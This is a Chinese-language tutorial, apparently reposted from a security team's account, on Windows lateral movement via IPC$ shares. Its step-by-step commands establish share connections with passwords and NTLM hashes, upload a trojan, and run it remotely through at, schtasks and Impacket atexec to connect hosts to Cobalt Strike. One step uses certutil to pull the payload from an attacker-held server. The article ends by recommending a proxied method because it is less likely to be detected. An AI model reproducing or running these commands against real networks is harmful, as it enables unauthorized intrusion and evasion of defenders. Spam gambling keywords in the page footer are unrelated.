那曲檬骨新材料有限公司

0
  • 聊天消息
  • 系統消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發帖/加入社區
會員中心
創作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

什么是IPC?IPC的利用條件有哪些?

jf_vLt34KHi ? 來源:Tide安全團隊 ? 2023-02-09 09:17 ? 次閱讀

什么是IPC?

IPC(共享命名管道資源)其實就是為了實現進程間通信而開放的命名管道;它是為了讓進程間通信而開放的命名管道,通過提供可信任的用戶名和口令,連接雙方可以建立安全的通道并以此通道進行加密數據的交換,從而實現對遠程計算機的訪問。

IPC的利用條件

1.獲得用戶名和密碼

2.開放了139、445端口

IPC可以實現遠程登錄及對默認共享資源的訪問,而139端口的開啟標識NetBIOS協議的應用。通過139、445端口可以實現對共享文件/打印機的訪問。

3.管理員開啟了默認共享

默認共享是為了方便管理員進行遠程管理而默認開啟的,包括所有的邏輯盤(c$,d$,e$)等,和系統目錄winnt或windows(admin$)。通過IPC可以實現對這些默認共享目錄的訪問。

IPC在內網中的利用手法

IPC基礎命令

1.查看IPC連接與刪除IPC連接


netuse#查看IPC連接 netuse\serveripc$/del#刪除IPC連接

d65a1d4e-a812-11ed-bfe3-dac502259ad0.png

2.建立IPC鏈接到目標主機


netuse\serveripipc$"password"/user:username#工作組

d693952e-a812-11ed-bfe3-dac502259ad0.png

netuse\serveripipc$"password"/user:domainusername#域內主機

d6a270e4-a812-11ed-bfe3-dac502259ad0.png

3.查看文件列表


dir\serveripc$

d6b5f9b6-a812-11ed-bfe3-dac502259ad0.png

4.下載與復制文件

在下載文件這里,我們是可以看到192.168.3.32的C盤下是有一個IP.txt文件的,這里我們使用下載文件命令將其下載到我們的桌面。


copy\serveripc$1.ext1.exe#下載文件

d6cb174c-a812-11ed-bfe3-dac502259ad0.png

上傳文件同樣也是使用copy命令進行上傳

copy1.bat\serveripc$#上傳文件

d7029eba-a812-11ed-bfe3-dac502259ad0.png

5.查看文件內容

若是想要查看?標 C 盤下的 ip.txt ?件就可以使? type 命令


type\192.168.3.32c$ip.txt

d71c7a4c-a812-11ed-bfe3-dac502259ad0.png

計劃任務執行命令

在實戰中,我們建立了IPC連接后,可以上傳木馬文件然后使用計劃任務將其上線,目前windows有兩個計劃任務命令,系統小于windows 2012的使用at命令,系統大于等于Windows server 2012的操作系統已經棄用了at命令使用schtasks命令。

如下圖,假設我們當前已經拿到了Web Server的主機權限,并成功與其內網的兩臺主機建立了IPC連接,這時我們想將這兩臺主機進行上線就需要考慮到剛剛提到的由于windows版本,該使用at還是schtasks計劃讓其運行木馬這個問題。

d72b7fba-a812-11ed-bfe3-dac502259ad0.png

AT

首先我們先將一個木馬上傳到我們的Web server中,由于內網主機不出網,所以這里要生成正向連接的木馬或通過Web server中轉上線的木馬,這里使用的為中轉上線生成的木馬

d7449aea-a812-11ed-bfe3-dac502259ad0.pngd7587f10-a812-11ed-bfe3-dac502259ad0.png

在建立IPC連接后,將木馬上傳到目標機器中,然后再使用AT創建計劃任務將其執行上線


netuse\192.168.3.21ipc$"Admin12345"/user:administrator copy4444.exe\192.168.3.21c$ dir\192.168.3.21c$

d7692c66-a812-11ed-bfe3-dac502259ad0.pngd77ad376-a812-11ed-bfe3-dac502259ad0.png

這里我們可以看到4444.exe已經成功被我們上傳到了目標機器中,這里我們先查看一下目標系統時間,然后在使用at 設置計劃任務,執行我們的木馬文件

nettime\192.168.3.21#查看目標系統時間 at192.168.3.2116:40C:4444.exe#使用at計劃任務執行C盤下的4444.exe

d79f7fa0-a812-11ed-bfe3-dac502259ad0.png

這里可以通過at命令去查看當前計劃任務情況,和刪除計劃任務,具體命令如下

at\192.168.3.211#查看atid=1的計劃任務 at\192.168.3.211/delete#刪除atid=1的計劃任務

d7aeaff2-a812-11ed-bfe3-dac502259ad0.pngd7c4c738-a812-11ed-bfe3-dac502259ad0.png

到了19:10分后,我們可以看到通過at計劃任務木馬成功被執行,已經上線到了我們的CS中

d7e0aeda-a812-11ed-bfe3-dac502259ad0.png

Schtasks

在windows server 2012及以后的操作系統已經棄用了at命令,轉而使用schtasks命令,schtasks命令比at命令更加的靈活,但是在使用schtasks命令時,就會在系統中留下日志文件:C:Windows|Tasksxx.txt,這里不詳細講解schtasks的具體使用命令,只講解在橫向移動中,我們常用的操作命令。

和AT命令一樣,我們先和目標主機建立IPC連接,將木馬上傳到目標機器中,然后再使用schtasks命令執行木馬程序


netuse\192.168.3.32"admin!@#45"/user:administrator copy4444.exe\192.168.3.32c$ dir\192.168.3.32c$

d7eea418-a812-11ed-bfe3-dac502259ad0.pngd7fcc5a2-a812-11ed-bfe3-dac502259ad0.png

木馬上傳成功后,接下來就使用schtasks命令,schtasks命令與at命令不同,schtasks命令為先創建一個任務,然后再按需運行該任務,也可直接指定時間運行,但相對來說較于麻煩,所以這里使用按需運行任務,在創建了任務后直接讓其運行即可

schtasks/create/s192.168.3.32/ru"SYSTEM"/tnbeacon/scDAILY/trc:4444.exe/F#創建beacon任務對應執行文件,每天運行一次 schtasks/run/s192.168.3.32/tnbeacon/i#運行beacon服務

d80ce4a0-a812-11ed-bfe3-dac502259ad0.png

這里可以通過schtasks命令去查看當前計劃任務情況,和刪除計劃任務,具體命令如下

schtasks/query|findstrbeacon#查看beacon計劃任務 schtasks/delete/s192.168.3.32/tnbeacon/f#刪除beacon計劃任務

d83a69f2-a812-11ed-bfe3-dac502259ad0.pngd84c35a6-a812-11ed-bfe3-dac502259ad0.png

這里,使用schtasks也成功將SQLserver上線。

d859d850-a812-11ed-bfe3-dac502259ad0.png

Impacket-atexec

在上文中,我們講述了在命令行下通過使用計劃任務來進行橫向移動的效果,但該效果相對來說不太方便,例如只適用于明文密碼進行連接,無法支持hash、在執行了命令后,無法獲得回顯等。這里我們可以使用Impacket-atexec工具,impacket是一個打包好的工具包,里面包含了對于各種協議和系統命令的利用工具。

對于at&schtasks,我們可以使用impacket中的atexec.exe,使用它可以輕松地進行遠程連接并執行系統命令。impacket有兩個版本,一個為exe可執行程序,另一個為python文件,該工具適用于Webshell下,Socks代理下,并且支持以hash的方式進行連接。

atexec EXE版

EXE版本具體使用方式如下:首先將atexec.exe上傳到目標機器中

d8722ab8-a812-11ed-bfe3-dac502259ad0.png

然后運行該文件


atexec.exe./administrator:Admin12345@192.168.3.21"whoami"#本地用戶明文連接執行命令 atexec.exegod/administrator:Admin12345@192.168.3.21"whoami"#域內用戶明文連接執行命令

d8811bf4-a812-11ed-bfe3-dac502259ad0.pngd88f18e4-a812-11ed-bfe3-dac502259ad0.png

可以看到,在使用atexec進行執行命令后,結果會直接返回回來,那么我們也可以使用hash進行連接

atexec.exe-hashes:ccef208c6485269c20db2cad21734fe7./administrator@192.168.3.21"whoami"#使用hash進行本地用戶連接 atexec.exe-hashes:ccef208c6485269c20db2cad21734fe7god/administrator@192.168.3.21"whoami"#使用hash進行域內用戶連接

d8a16aa8-a812-11ed-bfe3-dac502259ad0.pngd8ba20ca-a812-11ed-bfe3-dac502259ad0.png

至此,為atexec的鏈接和命令執行命令,那我們回想剛剛在使用at和schtasks上線時的步驟:建立IPC連接、上傳木馬、設置任務執行....步驟較為繁瑣,那我們在使用atexec時,也可以將其進行上線,并且相對來說較為簡潔方案。首先,在這里我們需要轉變一下思路,不能是將木馬上傳到目標機器中,而是讓目標機器來去下載我們的木馬程序,這里我們將木馬放到Webserver的WEB目錄中,然后構造下載命令,讓目標機器將其下載到其機器中,然后在將其執行即可。web server的web目錄為C:inetpubwwwroot,這里我們直接上傳木馬。

d8c9c34a-a812-11ed-bfe3-dac502259ad0.png

然后構造下載命令看其目標機器能否下載成功

atexec.exe-hashes:ccef208c6485269c20db2cad21734fe7./administrator@192.168.3.21"certutil.exe-urlcache-split-fhttp://192.168.3.31:80/4444.exe4444.exe" atexec.exe-hashes:ccef208c6485269c20db2cad21734fe7./administrator@192.168.3.21"dir|findstr4444.exe"

d8daf098-a812-11ed-bfe3-dac502259ad0.pngd8f23a32-a812-11ed-bfe3-dac502259ad0.png

可以看到4444.exe已經成功被其下載成功,那么這里我們直接運行4444.exe即可

atexec.exe-hashes:ccef208c6485269c20db2cad21734fe7./administrator@192.168.3.21"4444.exe"

d903554c-a812-11ed-bfe3-dac502259ad0.png

這里我們可以也可以看到DC成功上線。

d92677d4-a812-11ed-bfe3-dac502259ad0.png

atexec Python版

以上是atexec.exe的利用,但是因為需要在目標主機上面上傳exe在實戰中不實用,可能照成數據包丟失,也可能被查殺。所以這里在實戰中建議使用python版本,但是也有可能目標主機沒有相對的語言解析 ,所以最好的辦法就是使用socket代理調用atexec.py對其內網進行利用。

主要操作如下:首先在CS上設置一個socket代理,然后使用proxifier 添加代理、規則。

d9398e82-a812-11ed-bfe3-dac502259ad0.pngd9525d86-a812-11ed-bfe3-dac502259ad0.png

設置好代理之后,設置下代理規則,將所有目標主機為192.168.3.0的數據包都通過我們的socket代理進行通信,這樣我們就可以與其內網的主機進行通信。

d98170a8-a812-11ed-bfe3-dac502259ad0.png

這時代理設置好了之后,我們就可以直接在本機中使用atexec.py對其內網進行橫向移動了,具體命令如下:


pythonatexec.py.administrator:Admin12345@192.168.3.21"whoami"#本地明文建立IPC連接并執行命令 pythonatexec.pygodadministrator:Admin12345@192.168.3.21"whoami"#域內主機建立IPC連接并執行命令

d9a49aba-a812-11ed-bfe3-dac502259ad0.pngd9b4cd5e-a812-11ed-bfe3-dac502259ad0.png

可以看到,通過socket代理,我們沒有上傳atexec.exe文件,就可直接在本地中對其內網進行利用,可較大程度的避免在實戰中上傳較大exe程序,被查殺或上傳失敗的效果

pythonatexec.py-hashes:ccef208c6485269c20db2cad21734fe7./administrator@192.168.3.21"whoami"#本地用戶使用hash進行IPC連接 pythonatexec.py-hashes:ccef208c6485269c20db2cad21734fe7god/administrator@192.168.3.21"whoami"#本地用戶使用hash進行IPC連接

d9c97e84-a812-11ed-bfe3-dac502259ad0.pngd9dbe75e-a812-11ed-bfe3-dac502259ad0.png

那么在這里,我們上線CS的步驟也和上文中使用atexec.exe上線步驟一致,這里不再演示。

在內網滲透中,IPC是我們經常用到的手段之一,若?標管理員對服務器禁?遠程登錄我們就可以使? IPC 來完成?些操作,在IPC橫向移動時,較為推薦使用atexec.py+socket代理的形式對其內網進行橫向移動,相對來說動靜較小,不易被發現。




審核編輯:劉清

聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網站授權轉載。文章觀點僅代表作者本人,不代表電子發燒友網立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規問題,請聯系本站處理。 舉報投訴
  • Web服務器
    +關注

    關注

    0

    文章

    138

    瀏覽量

    24486
  • NETBIOS
    +關注

    關注

    0

    文章

    6

    瀏覽量

    9402
  • IPC
    IPC
    +關注

    關注

    3

    文章

    352

    瀏覽量

    52073

原文標題:橫向移動-IPC

文章出處:【微信號:Tide安全團隊,微信公眾號:Tide安全團隊】歡迎添加關注!文章轉載請注明出處。

收藏 人收藏

    評論

    相關推薦

    IPC-660

    IPC
    GITSTAR 集特工控
    發布于 :2023年12月20日 14:53:06

    IPC-110海光

    接口IPC
    GITSTAR 集特工控
    發布于 :2023年12月21日 11:26:03

    IPC-A-610D標準 IPC-A-610標準 IPC標準

    會員優惠價代購所有IPC正版標準!2009年12月您還想參加哪些課程?無鉛手工焊接技能培訓 09年12月2-3日開班(上海/蘇州)IPC-A-600G(印制板的驗收條件)09年12月7-9日開班
    發表于 11-23 20:38

    ipc標準目錄

    ipc標準目錄
    發表于 09-04 12:38 ?8696次閱讀

    IPC銅箔拉力試驗方法

    IPC銅箔拉力試驗方法   薄銅箔與載體的分離   1.0適用范圍  該方法適用于室溫條件下測定薄銅箔
    發表于 09-30 09:41 ?3332次閱讀

    PCB的IPC標準指南

    眾所周知,印刷電路板或 PCB 的制造商在整個制造過程中確保質量至關重要,需要在所有階段進行認真關注。遵守貿易協會 IPC 的標準可以提供幫助。 什么是 IPCIPC 是電子互連行業的行業協會
    的頭像 發表于 10-20 19:36 ?1w次閱讀

    IPC-6012或IPC-A-600:應使用哪個標準?

    印刷電路研究所不斷發布性能文件,以管理 PCB 行業的實踐。其中兩個文件是 IPC-6012 和 IPC-A-600 。 自 1957 年以來,連接電子行業的協會(俗稱 IPC )是為印刷電路
    的頭像 發表于 10-26 19:41 ?2.7w次閱讀

    你知道IPC二級和IPC三級什么區別嗎?兩者對PCB產品的影響又是什么呢?

    很多工程師朋友不是很清楚IPC二級和IPC三級什么區別,兩者對PCB產品的影響包含哪些。本篇文章小編會告訴你哪些不同,以及各自包含哪些驗收標準。
    的頭像 發表于 10-19 15:36 ?1.2w次閱讀
    你知道<b class='flag-5'>IPC</b>二級和<b class='flag-5'>IPC</b>三級<b class='flag-5'>有</b>什么區別嗎?兩者對PCB產品的影響又是什么呢?

    PCB板的IPC二級和IPC三級什么區別

    IPC二級產品,即專用服務類電子產品,包括通訊設備、復雜的工商業設備和高性能、長壽命測量儀器等。IPC二級的標準明確了,這類產品在一般使用環境下,都不應該發生故障。
    發表于 10-20 10:28 ?3499次閱讀

    涂鴉推出智能IPC開發框架,超強兼容性打造趣味IPC周邊生態

    IPC還有哪些新玩法?隨著攝像頭的應用場景增加,IPC作為一種能力,正在融入到越來越多的智能設備中,形成了一批富有創意的智能IPC融合類產品。比如,掃地機結合智能IPC后,能實現可視化
    的頭像 發表于 03-03 16:30 ?1720次閱讀
    涂鴉推出智能<b class='flag-5'>IPC</b>開發框架,超強兼容性打造趣味<b class='flag-5'>IPC</b>周邊生態

    研華工控機ipc510和ipc610的區別是什么?

    ipc510和ipc610是研華公司生產的兩種工業控制計算機,很多朋友可能在選擇工控機的時候從外觀上肉眼看這兩款研華工控機區別不是很明顯,不是很清楚ipc510和
    的頭像 發表于 08-18 10:10 ?2398次閱讀

    IPC-D-620和IPC/WHMA-A-620操作手冊與指南

    電子發燒友網站提供《IPC-D-620和IPC/WHMA-A-620操作手冊與指南.pdf》資料免費下載
    發表于 12-25 09:42 ?71次下載

    IPC平臺商的市場格局

    市場上不斷“純平臺商很難賺到錢”的聲音,難道IPC平臺商的歸宿是做方案或成品?在探討這次話題前,我們先了解下IPC平臺商的市場格局。
    的頭像 發表于 01-25 11:00 ?1206次閱讀
    <b class='flag-5'>IPC</b>平臺商的市場格局

    IPC工控機哪些技術特點?

    、醫療、環保及人們生活的方方面面。 ? ? ?工控機其定義就是工業控制計算機,也有人稱它為工業電腦或者產業電腦,英文簡稱IPC,通俗的將就是為了工業現場而設計的計算機。 ? ? ?那么IPC工控機哪些技術特點? ? ? ?
    的頭像 發表于 07-30 09:59 ?495次閱讀

    ipc系統的網絡帶寬需求分析

    IPC(Internet Protocol Camera)系統的網絡帶寬需求分析涉及多個因素,包括IPC的碼流大小、網絡架構、監控需求等。以下是對IPC系統網絡帶寬需求的分析: 一、IPC
    的頭像 發表于 11-15 14:28 ?458次閱讀
    百家乐官网连闲几率| bet365注册哪家好| 大发888游戏平台 34| 博彩e族777| 青阳县| 百家乐官网7赢6| 博狗百家乐开户| 百家乐正网| 百家乐代理| 迪威百家乐官网娱乐平台| 百家乐优惠高的网址| 免费百家乐倍投软件| 御金娱乐城| 百家乐官网翻天主题曲| 永利高百家乐会员| 澳门百家乐博| 博狗博彩网站,| 百家乐官网智能投注系统 | 嬴澳门百家乐的公式| 澳门顶级赌场官网| 百家乐官网怎么计算概率| 金木棉百家乐官网的玩法技巧和规则| 百家乐怎样概率大| 申博太阳城官方网站| 百家乐官网的赚钱原理| 三公百家乐官网在哪里可以玩| 广州百家乐娱乐场开户注册| tt娱乐城官网| 百家乐官网多少点数算赢| 百家乐图表分析| 大发888备用网址大全| 真人百家乐官网策略| 真钱百家乐哪里最好| 丽都棋牌下载| 百家乐官网手机版| 678百家乐博彩娱乐网| 百家乐包赢| 风水24山代表什么| 大发888娱乐城官网lm0| 钱百家乐官网取胜三步曲| 百家乐平台哪个比较安全|